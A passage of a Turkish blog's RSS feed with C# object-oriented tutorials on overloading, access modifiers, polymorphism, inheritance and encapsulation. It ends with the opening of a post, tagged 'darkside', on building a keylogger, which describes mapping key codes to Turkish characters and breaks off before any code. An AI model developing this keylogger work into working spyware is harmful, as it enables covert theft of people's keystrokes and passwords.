&lt;div class=&quot;console&quot;&gt;12 + 7 = 19
7 + 14 + 21 = 42
Haberin olsun topluyorum!
5 + 3 = 8&lt;/div&gt;

&lt;p&gt;Başka bir örnekte sınıfın yapıcı metodunu (constructor) aşırı yükleyelim.&lt;/p&gt;

&lt;pre&gt;class Uye
{
    public string Ad { get; set;}

    public Uye()
    {
        // Buralar hep dutluk...
    }

    public Uye(string ad)
    {
        this.Ad = ad;
    }

    public override string ToString()
    {
        return this.Ad;
    }
}&lt;/pre&gt;

&lt;p&gt;Böylece sınıftan referans alırken ismi belirtme zorunluluğunu kaldırmış olduk. Ya da ekstra bir satırla isim yazmaktan kurtulduk. Ayrıca sınıfın &lt;code&gt;ToString&lt;/code&gt; metodunu (tüm sınıflar &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/system.object(v=vs.110).aspx&quot; target=&quot;_blank&quot;&gt;Object&lt;/a&gt; sınıfından kalıtılmıştır) &lt;code&gt;WriteLine&lt;/code&gt; metodu ile yazdırınca &lt;code&gt;Ad&lt;/code&gt; özelliğini döndürmek üzere &lt;a href=&quot;http://safkaninsan.blogspot.com.tr/2015/08/csharp-polymorphism-cok-bicimlilik.html&quot; target=&quot;_blank&quot;&gt;override&lt;/a&gt; ettik. Aşağıdaki gibi de test edebiliriz.&lt;/p&gt;

&lt;pre&gt;Uye uye1 = new Uye();
uye1.Ad = &quot;Umut&quot;;

Uye uye2 = new Uye(&quot;Çağdaş&quot;);

Console.WriteLine(uye1);
Console.WriteLine(uye2);&lt;/pre&gt;

&lt;p&gt;NOT: Örneklerde kullanmamışım ama metot imzası farklı olduğu sürece aşırı yüklenmiş metotlarda farklı dönüş tipleri kullanabilirsiniz.&lt;/p&gt;</description><link>http://safkaninsan.blogspot.com/2015/08/csharp-method-overloading.html</link><author>noreply@blogger.com (Umut Çağdaş Coşkun)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjPOOOhqEDbLIpLm0wA8TYel6x41F0p1WuRK-eYGjuY-szfHhcc6YdHGmQiJN0YP9MWnYWhaLg6BKBXOsk2AD3zkgTOOysHZoW6hDh_pz7jRvyd428G35Lgo7yhKVb5C3G-CZJavHlx54Q/s72-c/method-overloading-esek.jpg" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1600440649102946528.post-1666446135028867665</guid><pubDate>Sat, 15 Aug 2015 23:32:00 +0000</pubDate><atom:updated>2015-08-23T19:03:12.269+03:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">.net</category><category domain="http://www.blogger.com/atom/ns#">access modifiers</category><category domain="http://www.blogger.com/atom/ns#">c#</category><category domain="http://www.blogger.com/atom/ns#">oop</category><title>C# - Access Modifiers (Erişim Belirleyiciler)</title><description>&lt;p&gt;Tanımladığımız nesnelerin, metotların ya da değişkenlerin kimler (kendisi, başka sınıflar, başka assembly&#39;ler vs.) tarafından erişilebilir olduğunu belirttiğimiz ifadelere &lt;strong&gt;erişim belirleyiciler&lt;/strong&gt; denir. Bu yaklaşım nesne yönelimli programlama dillerinin çoğunda (ezici çoğunlukla) vardır.&lt;/p&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;

&lt;p&gt;C# dilinde kullanabileceğimiz erişim belirleyiciler koruma düzeyine göre (azdan çoğa) aşağıdakilerdir.&lt;/p&gt;

&lt;p&gt;&lt;i class=&quot;fa fa-fw fa-hand-o-right&quot;&gt;&lt;/i&gt; &lt;strong&gt;public:&lt;/strong&gt; (genel)&lt;br/&gt;Her sınıf ya da assembly içinden erişilebilir. Hiç kısıtlama yok. Sınıfın dışından kullanılması gereken metotlar ya da özellikler (property) için kullanılabilir.&lt;/p&gt;

&lt;p&gt;&lt;i class=&quot;fa fa-fw fa-hand-o-right&quot;&gt;&lt;/i&gt; &lt;strong&gt;protected:&lt;/strong&gt; (korumalı)
&lt;br/&gt;Sadece varlığın tanımlandığı sınıf ya da o sınıftan &lt;a href=&quot;http://safkaninsan.blogspot.com.tr/2015/08/csharp-inheritance-kalitim.html&quot; target=&quot;_blank&quot;&gt;kalıtılan sınıflar&lt;/a&gt; içinden erişilebilir. Sınıf içindeki alanlar (field) için kullanılabilir.&lt;/p&gt;

&lt;p&gt;&lt;i class=&quot;fa fa-fw fa-hand-o-right&quot;&gt;&lt;/i&gt; &lt;strong&gt;internal:&lt;/strong&gt; (dahili)
&lt;br/&gt;Varlık sadece bağlı bulunduğu assembly (dll, exe) içinden erişilebilir. Dağıtmak üzere yazdığınız bir kütüphane içinde kullanılabilir.&lt;/p&gt;

&lt;p&gt;&lt;i class=&quot;fa fa-fw fa-hand-o-right&quot;&gt;&lt;/i&gt; &lt;strong&gt;protected internal:&lt;/strong&gt; (korumalı-dahili)
&lt;br/&gt;Aynı ya da farklı assembly&#39;ler içinde olması farketmeksizin sadece kendi sınıfından kalıtılmış sınıflar içerisinden erişilebilir. Sadece dağıttığınız kütüphaneki sınıflardan türetilen sınıflar için kullanılabilir.&lt;/p&gt;

&lt;p&gt;&lt;i class=&quot;fa fa-fw fa-hand-o-right&quot;&gt;&lt;/i&gt; &lt;strong&gt;private:&lt;/strong&gt; (özel)
&lt;br/&gt;Sadece kendi (sınıf) içinden erişilebilir. Türetilmiş (derived) sınıflardan erişilmesini istemediğiniz öğeler için kullanılabilir.&lt;/p&gt;

&lt;figure&gt;&lt;img src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLB_NEz83bQKshcxUR9Bb5-4EH-SaxVjkSLhXjDJvyU-SZZ87w14-Jg6EDjXUZV5aRjHl77kiQf721ZU5vc2WIJPRRwm8dcFCtiDeB3QgNmc1IojFuBwOwm6vOLPxoONQO0MZx_cDIK7M/s1600/access+modifier.PNG&quot; /&gt;&lt;figcaption&gt;Erişim belirleyiciler tablosu&lt;/figcaption&gt;&lt;/figure&gt;

&lt;p&gt;C# içinde tüm sınıflar varsayılan olarak &lt;strong&gt;internal&lt;/strong&gt;, sınıf içindeki varlıklar ise &lt;strong&gt;private&lt;/strong&gt; erişim belirleyicisine sahiptirler.&lt;/p&gt;</description><link>http://safkaninsan.blogspot.com/2015/08/csharp-access-modifiers-erisim-belirleyiciler.html</link><author>noreply@blogger.com (Umut Çağdaş Coşkun)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLB_NEz83bQKshcxUR9Bb5-4EH-SaxVjkSLhXjDJvyU-SZZ87w14-Jg6EDjXUZV5aRjHl77kiQf721ZU5vc2WIJPRRwm8dcFCtiDeB3QgNmc1IojFuBwOwm6vOLPxoONQO0MZx_cDIK7M/s72-c/access+modifier.PNG" height="72" width="72"/><thr:total>1</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1600440649102946528.post-7530095057395609042</guid><pubDate>Fri, 14 Aug 2015 21:48:00 +0000</pubDate><atom:updated>2015-08-23T19:00:53.195+03:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">.net</category><category domain="http://www.blogger.com/atom/ns#">c#</category><category domain="http://www.blogger.com/atom/ns#">oop</category><category domain="http://www.blogger.com/atom/ns#">polymorphism</category><title>C# - Polymorphism (Çok Biçimlilik) Tekniği</title><description>&lt;img src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgxQguRlCZYC4VtESPMqqZ-c04hpTZdtXgZ8_aLvetfzzVbmUTejB42QokAgoHOGOBRhktakFNn0DiWemvQt1QvXbnb2iwQkfcbNWyKtxPgMIT7doHEPMgwiFQzzIdGrzBuCIDUIlJRd3o/s1600/pokemon-polymorphism.jpg&quot; style=&quot;display: none;&quot;/&gt;

&lt;p&gt;Bir sınıf başka bir sınıftan türetildiğinde tüm özelliklerini miras alır. Türemiş sınıf içinde türetilen sınıftan gelen bazı özellikleri değiştirmek isteyebiliriz (ve yapabiliriz de). Sınıfın miras aldığı özelliklerin değiştirilebilmesine -ve nesne üzerinden çağrılabilmesine- &lt;strong&gt;çok biçimlilik&lt;/strong&gt; denir.&lt;/p&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;

&lt;p&gt;Bir sitedeki temsili üye ve admin sınıflarını oluşturalım. Üyeler çıkış butonuna tıkladığında normal çıkış yapsın. Admin çıkış yaptığında ne olur ne olmaz diyerek çıkıştan sonra tarayıcı çerezlerini de temizlesin.&lt;/p&gt;

&lt;pre&gt;class Uye
{
    public string Ad { get; set; }

    public virtual void CikisYap ()
    {
        Console.WriteLine(this.Ad + &quot;: Çıkış yaptım.&quot;);
    }
}

class Admin : Uye
{
    public override void CikisYap()
    {
        base.CikisYap();

        Console.WriteLine(this.Ad + &quot;: Çerezleri temizledim.&quot;);
    }
}&lt;/pre&gt;

&lt;h2&gt;Overriding (Ezme)&lt;/h2&gt;
&lt;p&gt;Değiştirmemiz gereken metot &lt;code&gt;CikisYap&lt;/code&gt;. Bu metodu &lt;code&gt;virtual&lt;/code&gt; olarak tanımladık çünkü değiştireceğiz. Türemiş sınıfta (derived class) ise aynı methoda &lt;code&gt;override&lt;/code&gt; ifadesini ekledik. Böylece yeni yazdığımız metot eskisinin yerini alacak. Bu yaptığımız işleme &lt;strong&gt;method overriding&lt;/strong&gt; (metot ezme) denir.&lt;/p&gt;

&lt;p&gt;Admin sınıfında önce standart çıkış işlemini yapmak için &lt;code&gt;base&lt;/code&gt; referansı ile türetilen sınıftaki &lt;strong&gt;base class&lt;/strong&gt; metodu çağırdık ve ardından yapmak istediğimiz ek işlemi yaptık. Aşağıdaki gibi yazdığımız kodu test edersek olayların tam da istediğimiz gibi gerçekleştiğini görürüz.&lt;/p&gt;

&lt;pre&gt;Uye uye = new Uye { Ad = &quot;Umut&quot; };
Admin admin = new Admin { Ad = &quot;Çağdaş&quot; };

uye.CikisYap();
admin.CikisYap();&lt;/pre&gt;

&lt;h2&gt;Hiding (Gizleme)&lt;/h2&gt;
&lt;p&gt;Metotlara virtual ve override ifadelerini eklemeseydik de şuanki senaryoda durum değişmeyecekti. Ancak derived class içinde base class&#39;a ait bir methodu override etmeden tekrar tanımlarsanız base class&#39;taki hali hala muhafaza ediliyor olacaktır. Bu duruma &lt;strong&gt;method hiding&lt;/strong&gt; (metot gizleme) denir. Şimdi farklı bir senaryo deneyelim.&lt;/p&gt;

&lt;pre&gt;class Uye
{
    public string Ad { get; set; }

    public void CikisYap ()
    {
        Console.WriteLine(this.Ad + &quot;: Çıkış yaptım.&quot;);
    }
}

class Admin : Uye
{
    public void CikisYap()
    {
        base.CikisYap();

        Console.WriteLine(this.Ad + &quot;: Çerezleri temizledim.&quot;);
    }
}&lt;/pre&gt;

&lt;p&gt;Bu sefer üyeyi Admin sınıfından referans alıyoruz.&lt;/p&gt;

&lt;pre&gt;Uye uye = new Admin { Ad = &quot;Umut&quot; };
uye.CikisYap();

Admin admin = new Admin { Ad = &quot;Çağdaş&quot; };
admin.CikisYap();
&lt;/pre&gt;

&lt;p&gt;Üyeyi admin sınıfından referans aldığımız için çıkış yaparken çerezleri temizlemesini bekledik ama yapmadı. Çünkü &lt;abbr title=&quot;metot gizleme&quot;&gt;method hiding&lt;/abbr&gt; kullandık. Metot gizlemede nesne &lt;strong&gt;hangi sınıfın referansından çağrılırsa&lt;/strong&gt; oradaki metodu çalıştırır. Metot ezmede ise söz konusu metot &lt;strong&gt;en son ne zaman override edilmiş ise&lt;/strong&gt; o halini çalıştırır. Kodun istediğimiz gibi çalışması için metotlara tekrar virtual ve override deyimlerini eklememiz gerekiyor.&lt;/p&gt;

&lt;h2&gt;Shadowing (Gölgeleme)&lt;/h2&gt;
&lt;p&gt;Gölgeleme işlemi &lt;code&gt;new&lt;/code&gt; deyimi ile yapılır. Gölgelenen metodun bulunduğu sınıf base sınıfın referansına atanırsa ilgili metot çağrıldığında atanan değil referans alınan sınıftaki metot çalıştırılır. Admin sınıfındaki metodu aşağıdki gibi değiştirelim.&lt;/p&gt;

&lt;pre&gt;public new  void CikisYap()
{
    base.CikisYap();

    Console.WriteLine(this.Ad + &quot;: Çerezleri temizledim.&quot;);
}&lt;/pre&gt;

&lt;p&gt;Ardından aşağıdaki gibi bir deneme yapalım.&lt;/p&gt;

&lt;pre&gt;Admin admin = new Admin { Ad = &quot;Umut&quot; };

Uye uye = (Admin)admin;
uye.CikisYap();&lt;/pre&gt;

&lt;p&gt;Nesnenin Admin sınıfındaki metodu görmezden gelip referans aldığı Uye sınıfındaki metodu çalıştırdığını göreceksiniz. Ezme işlemi yapmak için virtual deyimi şarttır fakat gölgeleme için değildir.&lt;/p&gt;</description><link>http://safkaninsan.blogspot.com/2015/08/csharp-polymorphism-cok-bicimlilik.html</link><author>noreply@blogger.com (Umut Çağdaş Coşkun)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgxQguRlCZYC4VtESPMqqZ-c04hpTZdtXgZ8_aLvetfzzVbmUTejB42QokAgoHOGOBRhktakFNn0DiWemvQt1QvXbnb2iwQkfcbNWyKtxPgMIT7doHEPMgwiFQzzIdGrzBuCIDUIlJRd3o/s72-c/pokemon-polymorphism.jpg" height="72" width="72"/><thr:total>2</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1600440649102946528.post-840024188294610971</guid><pubDate>Fri, 14 Aug 2015 02:20:00 +0000</pubDate><atom:updated>2015-08-23T19:01:02.782+03:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">.net</category><category domain="http://www.blogger.com/atom/ns#">c#</category><category domain="http://www.blogger.com/atom/ns#">inheritance</category><category domain="http://www.blogger.com/atom/ns#">oop</category><title>C# - Inheritance (Kalıtım) Tekniği</title><description>&lt;img src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhB6gELved4U1LzsEN7kgAliYjgblxhWiso3XFEfJqviXobv8tX4IE5r10uZBHM4F9zgkktvG3qH1IcQig4AwfbkZ5UQAwgNydlC5obM4cc7k0QrJ1DD1K6Bv_XR3vol3ssZW2frZ2_XMg/s1600/inheritance-thumb.jpg&quot; style=&quot;display: none;&quot;/&gt;

&lt;p&gt;Daha önceden oluşturduğumuz bir sınıfa ait özelliklerin -field, property, method vs.- ikinci bir sınıfta bulunması için kalıtım kullanırız. Türetilen sınıfa &lt;strong&gt;base class&lt;/strong&gt;, türemiş sınıfa &lt;strong&gt;derived class&lt;/strong&gt; denir. Derived class içinde base class&#39;tan alınan özelliklere yenileri eklenebilir ya da değiştirilebilir.&lt;/p&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;

&lt;p&gt;Türetilen ve türemiş sınıf arasında &lt;strong&gt;is a&lt;/strong&gt; ilişkisi vardır. Örneğin; Kedi bir hayvandır. Burada &quot;hayvan&quot; türetilen sınıf, &quot;kedi&quot; türemiş sınıftır. Daha somut bir örnek yapalım ve forum için üye sınıfları oluşturalım.&lt;/p&gt;

&lt;pre&gt;class Uye
{
    public string Ad { get; set; }

    public void MesajGonder()
    {
        Console.WriteLine(&quot;Mesaj gönderdim.&quot;);
    }
}

class Moderator : Uye
{
    public void MesajSil()
    {
        Console.WriteLine(&quot;Mesajı sildim.&quot;);
    }
}&lt;/pre&gt;

&lt;p&gt;Üye sınıfı foruma yeni katılan kullanıcıların sınıfı. En temel olarak üyenin bir adı olmalı ve burası bir forum olduğu için mesaj gönderebilmeli. Bir de forumdaki düzeni sağlayacak moderatörlere ihtiyacımız var. Bir moderatör bir üyenin tüm özelliklerine sahip olmalı çünkü o da forumu kullanıyor. Buna ek olarak bir de uygunsuz mesajları silebilmesi gerekir. Bunun için moderatörler için ayrı bir sınıf oluşturup ek olarak &lt;code&gt;MesajSil&lt;/code&gt; metodunu ekledik.&lt;/p&gt;

&lt;p&gt;Base ve derived sınıflar arasında &lt;strong&gt;is a&lt;/strong&gt; ilişkisinin olduğunu söylemiştik. Bu duruma göre &quot;Moderatör bir üyedir&quot; ancak &quot;Üye bir moderatör değildir&quot;. Bir objenin bir sınıfın ya da o sınıftan türemiş bir sınıfın referansı olup olmadığına &lt;code&gt;is&lt;/code&gt; deyimi ile bakılır. Kontrol edelim.&lt;/p&gt;

&lt;pre&gt;Uye uye = new Uye{ Ad = &quot;Umut&quot; };
Moderator mod = new Moderator { Ad = &quot;Çağdaş&quot; };


if (mod is Uye)
    Console.WriteLine(mod.Ad + &quot; bir üye.&quot;);
else
   Console.WriteLine(mod.Ad + &quot; bir üye DEĞİL.&quot;);


if (uye is Moderator)
    Console.WriteLine(uye.Ad + &quot; bir moderatör.&quot;);
else
    Console.WriteLine(uye.Ad + &quot; bir moderatör DEĞİL.&quot;);&lt;/pre&gt;

&lt;p&gt;* Bir sınıfı oluştururken küme parantezleri içinde özelliklerinin değerlerini verebilirsiniz.&lt;/p&gt;

&lt;p&gt;Kodun çıktısı &quot;Çağdaş bir üye. Umut bir moderatör DEĞİL.&quot; olacaktır. Bu yüzden aşağıdaki gibi bir tanımlama hatalı değildir.&lt;/p&gt;

&lt;pre&gt;Uye mod = new Moderator { Ad = &quot;Çağdaş&quot; };&lt;/pre&gt;

&lt;p&gt;Ancak aşağıdaki gibi bir tanımlama hata verecektir.&lt;/p&gt;

&lt;pre&gt;Moderator uye = new Uye { Ad = &quot;Umut&quot; };&lt;/pre&gt;

&lt;p&gt;&lt;strong&gt;Güncelleme:&lt;/strong&gt; Tam tersi yazdığınız bir sınıfta kalıtımı engellemek istiyorsanız &lt;code&gt;sealed&lt;/code&gt; ifadesini kullanabilirsiniz.&lt;/p&gt;

&lt;pre&gt;sealed class MuhurluSinif
{
    // Bir şeyler bir şeyler
}&lt;/pre&gt;

&lt;p&gt;C# çoklu kalıtım (multiple inheritance) yapılmasına izin vermez. Yani bir sınıf sadece bir sınıfın özelliklerini miras alabilir. Ancak birden fazla interface&#39;den miras alabilirler. Ki o başka bir yazının konusu.&lt;/p&gt;</description><link>http://safkaninsan.blogspot.com/2015/08/csharp-inheritance-kalitim.html</link><author>noreply@blogger.com (Umut Çağdaş Coşkun)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhB6gELved4U1LzsEN7kgAliYjgblxhWiso3XFEfJqviXobv8tX4IE5r10uZBHM4F9zgkktvG3qH1IcQig4AwfbkZ5UQAwgNydlC5obM4cc7k0QrJ1DD1K6Bv_XR3vol3ssZW2frZ2_XMg/s72-c/inheritance-thumb.jpg" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1600440649102946528.post-3159791048466386274</guid><pubDate>Thu, 13 Aug 2015 22:59:00 +0000</pubDate><atom:updated>2015-08-23T19:01:13.398+03:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">.net</category><category domain="http://www.blogger.com/atom/ns#">c#</category><category domain="http://www.blogger.com/atom/ns#">encapsulation</category><category domain="http://www.blogger.com/atom/ns#">oop</category><title>C# - Encapsulation (Kapsülleme) Tekniği</title><description>&lt;img src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEii20YkwrMCKIqqnJOv27MS-7XbclI5Mkloh1uPfcDB4NYGgQtoNnQOCN3miNiq_r630-YChhrI48y7CuE1gtDC31OyPcVpvx0qxhuXbh89E5SkRjwGWAaTmxZVfMe1_feNmsxSSP573Rk/s1600/kapsulleme-thumb.jpg&quot; style=&quot;display: none;&quot;/&gt;

&lt;p&gt;Kapsülleme, sınıf içindeki değişkenlere erişimi kaldırmak ya da kısıtlamak için kullanılır. Önemli bir değişkeni &lt;code&gt;public&lt;/code&gt; olarak tanımlamak, değişkene yazılımcı tarafından -bilinçli ya da bilinçsiz- müdahaleye açık hale getirir. Bu da sınıf içindeki metotların çalışmasını olumsuz etkileyebilir. Bu gibi durumların önüne geçmek için kapsülleme tekniği kullanılır.&lt;/p&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;

&lt;p&gt;Sınıf içindeki &lt;code&gt;private&lt;/code&gt; değişkenlere &lt;strong&gt;field&lt;/strong&gt; (alan) denir. Alanlara sınıf dışından erişimi kontrol eden değişkenlere ise &lt;strong&gt;property&lt;/strong&gt; (özellik) denir.&lt;/p&gt;

&lt;p&gt;Şimdi sınıf içindeki alanlarımızı &lt;code&gt;public&lt;/code&gt; tanımlamanın nasıl problem yaratabileceğine bakalım.&lt;/p&gt;

&lt;pre&gt;class Uye
{
    public string ad;
    public int dogumYili;

    public void YasGoster()
    {
        Console.WriteLine(&quot;{0}&#39;un yaşı {1}.&quot;, ad, 2015 - dogumYili);
    }
}&lt;/pre&gt;

&lt;p&gt;Yukarıdaki sınıfta &lt;em&gt;ad&lt;/em&gt; ve &lt;em&gt;dogumYili&lt;/em&gt; değişkenleri &lt;code&gt;public&lt;/code&gt; ve doğrudan erişime açık. Yazılımcı yanlışlıkla doğum yılını negatif bir değer olarak atarsa aşağıdaki gibi sorun olucaktır.&lt;/p&gt;

&lt;pre&gt;Uye uye = new Uye();
uye.ad = &quot;Mahmut&quot;;
uye.dogumYili = -1980;

uye.YasGoster();&lt;/pre&gt;

&lt;p&gt;&quot;Mahmut&#39;un yaşı 3995.&quot; çıktısını alacağız. Pratikte hatalı kod yazmadık ama mantıklı bir sonuç ortaya çıkmadı.&lt;/p&gt;

&lt;p&gt;Kapsülleme &lt;code&gt;get&lt;/code&gt; ve &lt;code&gt;set&lt;/code&gt; anahtar kelimeleri ile yapılır. Alanın değerini geriye döndürmek için &lt;code&gt;get&lt;/code&gt;, alanın değerini belirlemek için &lt;code&gt;set&lt;/code&gt; kullanırız. Şimdi sınıfı aşağıdaki gibi değiştirelim.&lt;/p&gt;

&lt;pre&gt;class Uye
{
    private string _ad;
    public string Ad
    {
        get { return this._ad; }
        set { this._ad = value; }
    }

    private int _dogumYili;
    public int DogumYili
    {
        get { return this._dogumYili; }
        set { this._dogumYili = value; }
    }

    public void YasGoster()
    {
        Console.WriteLine(&quot;{0}&#39;un yaşı {1}.&quot;, _ad, 2015 - _dogumYili);
    }
}&lt;/pre&gt;

&lt;p&gt;Malum değişkenlerimizi &lt;code&gt;private&lt;/code&gt; olarak tanımlayıp bu değişkenlere erişimi belirleyen özellikleri &lt;code&gt;public&lt;/code&gt; tanımladık. Bu kullanım get-set&#39;in en temel kullanımıdır ve gördüğünüz üzere herhangi bir müdahale yapmadığı için kod çıktısında bir değişim olmayacaktır.&lt;/p&gt;

&lt;p&gt;Bu arada &lt;code&gt;this&lt;/code&gt; sınıfın kendisini, &lt;code&gt;value&lt;/code&gt; set bloğuna gelen (yani atanmaya çalışan) değeri ifade eder.&lt;/p&gt;

&lt;p&gt;Şimdi doğum yılı değerini kontrol edelim ve eğer atanan değer 1900 ve 2015 arasında değilse bir hata fırlatalım.&lt;/p&gt;

&lt;pre&gt;class Uye
{
    private string _ad;
    public string Ad
    {
        get { return this._ad; }
        set { this._ad = value; }
    }

    private int _dogumYili;
    public int DogumYili
    {
        get { return this._dogumYili; }
        set
        {
            if (value &gt; 1900 &amp;&amp; value &lt; 2015)
            {
                 this._dogumYili = value;
            }
            else
            {
                throw new Exception(&quot;Doğum tarihi mantıklı bir değer olmalı.&quot;);
            }
        }
    }

    public void YasGoster()
    {
        Console.WriteLine(&quot;{0}&#39;un yaşı {1}.&quot;, _ad, 2015 - _dogumYili);
    }
}&lt;/pre&gt;

&lt;p&gt;Sınıfı güncelledikten sonra ilk baştaki kod bloğunu tekrar çalıştırdığımızda göreceğiz ki; mantıksız bir sonuç üretmek yerine hatalı satır exception fırlatacak.&lt;/p&gt;

&lt;figure&gt;&lt;img src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhrjPU5YXFIdebZe7kDpS2G4RMgtex-pXzbtBaxTNcosSyqg_8OAEbeqpxXlsOghl_RiSUQZyG1UbWigo4q3JA0IKhyphenhyphenZnolKOPKbTrQcFwNVMh6OWOCR0n4mLJZ1crQaJh7694fpnxp6tU/s1600/kapsulleme-hata.png&quot; alt=&quot;Kapsülleme Tekniği&quot;/&gt;&lt;figcaption&gt;Doğum tarihi mantıklı bir değer olmalı.&lt;/figcaption&gt;&lt;/figure&gt;

&lt;p&gt;Bu arada field ve property&#39;lerin aynı veri tipinde olması gerekiyor çünkü get-set bloklarında property&#39;den değer döndürürken ya da alırken field&#39;lar kullanılıyor.&lt;/p&gt;

&lt;p&gt;İsterseniz tek bir field&#39;ı ilgilendiren birden fazla property yazabilirsiniz. Doğum yılındaki mantık kontrolünü kalabalık yapmasın diye kaldırdım.&lt;/p&gt;

&lt;pre&gt;class Uye
{
    private string _ad;
    public string Ad
    {
        get { return this._ad; }
        set { this._ad = value; }
    }

    private int _dogumYili;
    public int DogumYili
    {
        get { return this._dogumYili; }
        set { this._dogumYili = value; }
    }

    public int Yas
    {
        get { return 2015 - this.DogumYili; }
    }
}&lt;/pre&gt;

&lt;p&gt;Daha önce yazdığımız &lt;code&gt;YasGoster&lt;/code&gt; metodu yerine &lt;code&gt;Yas&lt;/code&gt; adında bir property oluşturup şimdiki yıldan doğum yılını çıkarıp onu döndürdük. Böylece metodun içeriğini beğenmeyen bir yazılımcı kendi metodunu yazabilir. Örneğin; ekrana basmak yerine veri tabanına kaydetmek isteyebilir. Geliştirile bilirlik açısından böylesi daha sağlıklıdır.&lt;/p&gt;

&lt;p&gt;Mesela aşağıdaki gibi deneyebiliriz.&lt;/p&gt;

&lt;pre&gt;Uye uye = new Uye();
uye.Ad = &quot;Mahmut&quot;;
uye.DogumYili = 1980;

Console.WriteLine(&quot;{0}&#39;ın yaşı: {1}.&quot;, uye.Ad, uye.Yas);&lt;/pre&gt;

&lt;p&gt;Bu konu bu kadar, çok da karmaşık bir konu olmadığından detaylandırmaya gerek yok sanırım.&lt;/p&gt;

&lt;p&gt;İyi akşamlar Türkiye. Her nerede kapsüllüyor ya da kapsülleniyorsanız.&lt;/p&gt;</description><link>http://safkaninsan.blogspot.com/2015/08/csharp-encapsulation-kapsulleme.html</link><author>noreply@blogger.com (Umut Çağdaş Coşkun)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEii20YkwrMCKIqqnJOv27MS-7XbclI5Mkloh1uPfcDB4NYGgQtoNnQOCN3miNiq_r630-YChhrI48y7CuE1gtDC31OyPcVpvx0qxhuXbh89E5SkRjwGWAaTmxZVfMe1_feNmsxSSP573Rk/s72-c/kapsulleme-thumb.jpg" height="72" width="72"/><thr:total>6</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1600440649102946528.post-5333300675687900264</guid><pubDate>Wed, 12 Aug 2015 15:58:00 +0000</pubDate><atom:updated>2015-08-23T19:02:14.565+03:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">c#</category><category domain="http://www.blogger.com/atom/ns#">darkside</category><category domain="http://www.blogger.com/atom/ns#">keylogger</category><title>C# - Klavye Dinleyici (Keylogger) Yapımı (2. Bölüm)</title><description>&lt;p&gt;Bir önceki &lt;a href=&quot;http://safkaninsan.blogspot.com/2015/03/csharp-keylogger-yapimi-1.html&quot; target=&quot;_blank&quot;&gt;yazıda&lt;/a&gt; klavyeyi dinleyip karakter kodlarını harflere çevirmiştik. Ancak hatırlarsanız Türkçe karakterlerde sıkıntı çıkıyordu. Bu yazıda bu sorunu çözüp diğer özel karakterleri ve tuşları daha okunaklı hale getireceğiz.&lt;/p&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;

&lt;figure&gt;&lt;img alt=&quot;C# - Klavye Dinleyici (Keylogger) Yapımı (2. Bölüm)&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjTmuLWRFf5ZqM62yIRTAHGjV5eFrTIJNm31wy7i7Ybca2SuUW82E9IiIWim9iZL9V4Y8xim2xhiVN7hWdrm3iMDnf2lW6fDK-3Q7UZwnZPjbtPCZ1Aa43DnrHhT6cgrrTmdyL3Xiw2VtI/s1600/pulp-fiction.jpg&quot; /&gt;&lt;figcaption&gt;Bir önceki gibi bunun da yazıyla bir alakası yok.&lt;/figcaption&gt;&lt;/figure&gt;

&lt;p&gt;Yazının ilk bölümünden bu yana beş ay kadar bir süre geçti. Sebebi şu ki; bir hata sonucu diskteki tüm veriyi kaybettim. Yazılar için hazırladığım projeler de gitti doğal olarak. Ubuntu kullanıyordum, tekrar Windows kurup her şeye en baştan başladım. Belki bir süre daha yeni bölümü yazmazdım ama kayıtlı taslakları karıştırırken yazının neredeyse hazır olduğunu fark edip birkaç düzenlemeyle yayınladım. Bir sonraki bölümü de muhtemelen yakın zamanda yazarım.&lt;/p&gt;

&lt;p&gt;Türkçe karakter sorununu çözmeye çalışırken saatlerce uğraştım diyebilirim. En temiz yöntemi bulmak için denemediğim yol kalmadı. Aslında sorun şu; klavyeden basılan tuş &lt;a href=&quot;http://tr.wikipedia.org/wiki/ASCII&quot; target=&quot;_blank&quot;&gt;ASCII&lt;/a&gt; karşılığını vermiyor. Örneğin, A tuşu 65 gönderiyor ama Ç tuşu 220 gönderiyor. Oysaki karakter kodu 199. Ben de çözümü hepsini tek tek deneyip karakter kodlarını diziye attıktan sonra klavyenin gönderdiği kodlarla değiştirmekte buldum.&lt;/p&gt;

&lt;h2&gt;Türkçe Karakterleri Tanıma&lt;/h2&gt;
